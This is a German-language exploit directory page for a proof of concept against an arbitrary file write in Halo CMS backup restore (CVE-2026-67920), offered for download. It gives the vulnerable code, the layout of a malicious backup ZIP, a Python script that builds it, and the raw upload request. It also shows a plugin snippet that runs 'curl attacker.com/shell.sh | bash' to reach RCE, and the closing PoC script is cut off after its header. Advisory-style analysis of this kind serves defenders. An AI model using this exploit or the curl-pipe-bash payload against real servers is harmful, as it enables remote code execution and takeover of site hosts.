Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — Proof-of-Concept-Exploit für eine Schwachstelle mit beliebigem Dateischreiben bei der Backup-Wiederherstellung von Halo CMS, die RCE über den Austausch von Plugin-JARs oder die Umgehung der Authentifizierung ermöglicht. | Kitploit
Tools/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

Proof-of-Concept-Exploit für eine Schwachstelle mit beliebigem Dateischreiben bei der Backup-Wiederherstellung von Halo CMS, die RCE über den Austausch von Plugin-JARs oder die Umgehung der Authentifizierung ermöglicht.

Repository anzeigen
18vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Halo CMS Backup-Restore-Schwachstelle für beliebiges Schreiben von Dateien

Zusammenfassung

Eine kritische Schwachstelle für beliebiges Schreiben von Dateien existiert in der Backup-Wiederherstellungsfunktion von Halo CMS bis Version 2.25.4. Die Methode restoreWorkdir() in MigrationServiceImpl.java kopiert das Verzeichnis workdir/ aus einem vom Benutzer bereitgestellten Backup-Archiv direkt in das Arbeitsverzeichnis der Halo-Anwendung (~/.halo2/), ohne jegliche Validierung von Dateitypen, Schutz vor Pfad-Traversal oder Prüfung auf symbolische Links. Ein authentifizierter Angreifer mit Backup-Verwaltungsrechten kann eine bösartige Backup-ZIP-Datei erstellen, die beliebige Dateien im Verzeichnis workdir/ enthält, welche bei der Wiederherstellung in das Arbeitsverzeichnis des Servers geschrieben werden, was möglicherweise zu Remote Code Execution (RCE) durch Plugin-JAR-Austausch oder Authentifizierungsumgehung durch RSA-Schlüsselaustausch führt.

CVSS v3.1-Wert: 8.8 (Hoch)
CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73 (Externe Kontrolle von Dateinamen oder Pfaden)


Betroffene Versionen

  • Halo CMS ≤ 2.25.4
  • Alle Versionen mit Backup-Wiederherstellungsfunktion

Details zur Schwachstelle

Grundursache

Die Schwachstelle befindet sich in der Methode restoreWorkdir() von MigrationServiceImpl.java (Zeilen 230-243):

private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // VERWUNDBARE ZEILE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

Die Methode copyRecursively() (Springs FileSystemUtils) führt eine rekursive Kopie ohne Folgendes durch:

  1. Dateityp-Validierung – Keine Prüfung auf Dateierweiterungen oder MIME-Typen
  2. Schutz vor Pfad-Traversal – Keine Prüfung auf ..-Sequenzen in Dateinamen
  3. Erkennung symbolischer Links – Keine Prüfung auf symbolische Links
  4. Dateigrößenbegrenzungen – Keine Einschränkung der Dateigrößen
  5. Überschreibschutz – Vorhandene Dateien werden stillschweigend überschrieben

Angriffsvektor

Die Schwachstelle wird über den Backup-Wiederherstellungs-Endpunkt ausgelöst:

POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

Der Wiederherstellungsprozess folgt dieser Abfolge:

┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → ZIP in temporäres Verzeichnis extrahieren │
│  2. restoreExtensions() → extensions.data wiederherstellen  │
│  3. restoreWorkdir() → workdir/ nach ~/.halo2/ kopieren     │
│     ↑ Beliebige Dateien werden in das Arbeitsverzeichnis geschrieben │
└─────────────────────────────────────────────────────────────┘

Bösartige Backup-Struktur

Eine bösartige Backup-ZIP-Datei muss Folgendes enthalten:

malicious-backup.zip
├── extensions.data          # Erforderlich: Kann leer sein oder gültiges JSONL enthalten
└── workdir/                 # Erforderlich: Inhalt wird nach ~/.halo2/ kopiert
    ├── PWNED_BY_POC.txt     # Proof-of-Concept-Markierungsdatei
    ├── plugins/             # Plugin-JARs für RCE
    │   └── evil-plugin.jar  # Bösartiges Plugin
    └── keys/                # RSA-Schlüssel für Authentifizierungsumgehung
        ├── pat_id_rsa       # Bösartiger privater Schlüssel
        └── pat_id_rsa.pub   # Bösartiger öffentlicher Schlüssel

extensions.data-Format

Die Datei extensions.data muss gültig sein, damit restoreExtensions() erfolgreich ist. Gültige Formate umfassen:

  1. Leere Datei: (leerer Inhalt)

  2. Leere Zeile: \n (nur Zeilenumbruch)

  3. Gültiges JSONL: Ein ExtensionStore-Objekt pro Zeile:

    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    Wobei data base64-kodierter Inhalt ist.


Ausnutzungsschritte

Voraussetzungen

  • Authentifizierter Benutzer mit Backup-Verwaltungsrechten
  • Netzwerkzugriff auf die Halo-API

Schritt 1: Bösartiges Backup erstellen

import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # Leere extensions.data (besteht die restoreExtensions-Validierung)
    zf.writestr('extensions.data', '\n')

    # Beliebige Datei, die nach ~/.halo2/ geschrieben wird
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Beliebiges Schreiben von Dateien bestätigt!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

Schritt 2: Bösartiges Backup hochladen

Frontend-Backup-Verwaltungsadresse: http://ip:port/console/backup

POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<ZIP-Datei-Binärinhalt>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

Schritt 3: Geschriebene Datei verifizieren

# Auf dem Halo-Server
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

Auswirkungsanalyse

Direkte Auswirkung

  1. Beliebiges Schreiben von Dateien: Der Angreifer kann beliebige Dateien nach ~/.halo2/ schreiben
  2. Dateiüberschreibung: Vorhandene Dateien werden stillschweigend überschrieben

Eskalationsszenarien

AngriffsvektorZieldateiAuswirkungSchweregrad
Plugin-JAR-Austausch~/.halo2/plugins/*.jarRemote Code ExecutionKritisch
RSA-Schlüsselaustausch~/.halo2/keys/pat_id_rsaAuthentifizierungsumgehungKritisch
Theme-Austausch~/.halo2/themes/*Gespeichertes XSSHoch
Konfigurationsüberschreibung~/.halo2/*.yamlUmgehung von SicherheitskontrollenHoch

RCE durch Plugin-JAR-Austausch

Ein Angreifer kann ein legitimes Plugin-JAR durch ein bösartiges ersetzen, das Folgendes enthält:

@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // Beliebigen Befehl ausführen
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

Wenn das Plugin geladen wird, wird der bösartige Code mit den Rechten des Halo-Prozesses ausgeführt.


Proof of Concept

Python-PoC-Skript

#!/usr/bin/env python3
"""
Halo CMS Backup-Restore-PoC für beliebiges Schreiben von Dateien
Schwachstelle: Backup-Restore beliebiges Schreiben von Dateien
CVSS: 8.8 (Hoch)
"""
Tool herunterladen